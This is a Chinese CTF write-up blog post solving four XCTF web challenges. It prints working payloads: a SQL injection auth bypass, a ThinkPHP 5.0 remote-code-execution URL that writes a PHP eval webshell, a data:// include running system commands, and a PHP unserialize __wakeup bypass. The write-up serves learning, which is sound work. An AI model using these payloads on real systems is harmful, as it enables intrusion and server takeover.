攻防世界:inget&php_rce&Web_php_include&unserialize3

inget
打开这一题的场景。
在这里插入图片描述
他说要输入id值并且绕过他。这个题目叫做inget,所以猜测是用get方式传参。然后再网址后面加上?id=1,返回没有发生变化。这里说要绕过,所以想到Sql里面的绕过原理。于是构造payload:

http://61.147.171.105:52456/?id=1’ or 1=1 --+

这里用的是or,前后关系中只要一个对的,这个关系式就是真的,所以成功绕过。–+是注释的意思。
在这里插入图片描述
成功得到flag。

php_rce
在这里插入图片描述
打开页面是这个样子的。很明显用的是thinkphp5.0的框架。根据题目说的php-rce,去浏览器搜索这个版本的thinkphp框架的历史命令执行漏洞。我这里用的是https://www.cnblogs.com/scivous/p/13993562.html里的代码。

http://127.0.0.1/index.php
    ?s=index/think\app/invokefunction
    &function=call_user_func_array
    &vars[0]=file_put_contents            //使用file_put_contents函数
    &vars[1][]=shell.php               //webshell文件名
    &vars[1][]=<?php @eval($_POST['pass']);?>  //写入一句话木马,注意这里需要用POST,而不能用GET

在这里插入图片描述
返回30表示后门文件上传成功。然后用蚁剑连接xxxxx/shell.php。
在这里插入图片描述

在这里插入图片描述
在根目录找到了flag。

Web_php_include
在这里插入图片描述
查了一下str.replace (old, new max]) 有三个参数,old是需要替换的值,new是替换后的值,max是最多替换的次数。这里的意思大概就是要用get方式提交一个page参数,但是会过滤掉page的值里面的php://。这里可以借用page这个参数构造一个rce,但是不能用php。我这里使用的是data这个伪协议,于是构造语句:

http://61.147.171.105:57284/?page=data://text/plain,<?=system('ls');

在这里插入图片描述
看到有个fl4gisisish3r3.php文件,猜测这就是flag文件,tac这个php文件。

http://61.147.171.105:57284/?page=data://text/plain,<?=system('tac fl4gisisish3r3.php');

在这里插入图片描述
出来了。

unserialize3
在这里插入图片描述
打开靶场是一段代码。代码的意思大概是有一个xctf的类,会调用wakeup魔术方法,然后会回显bad requests。所以要绕过这个魔术方法。百度得:当成员属性数目大于实际数目时可绕过wakeup方法 (CVE-2016-7124)。

<?php
class xctf{
	public $flag = '111';
	public function __wakeup(){
		exit('bad requests');
	}
}
$a=new xctf();
echo serialize($a);

得到的结果是

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

它表示一个名为 xctf 的对象,包含一个属性 flag,其值为 111。要让成员属性数目大于实际数目,把属性数目加1,即把1变成2。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在这里插入图片描述
就得到了flag。但是后面我去查了(CVE-2016-7124)这个漏洞的影响版本是PHP5 < 5.6.25

&&PHP7 < 7.0.10,但这一题中的php版本是5.6.37。

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值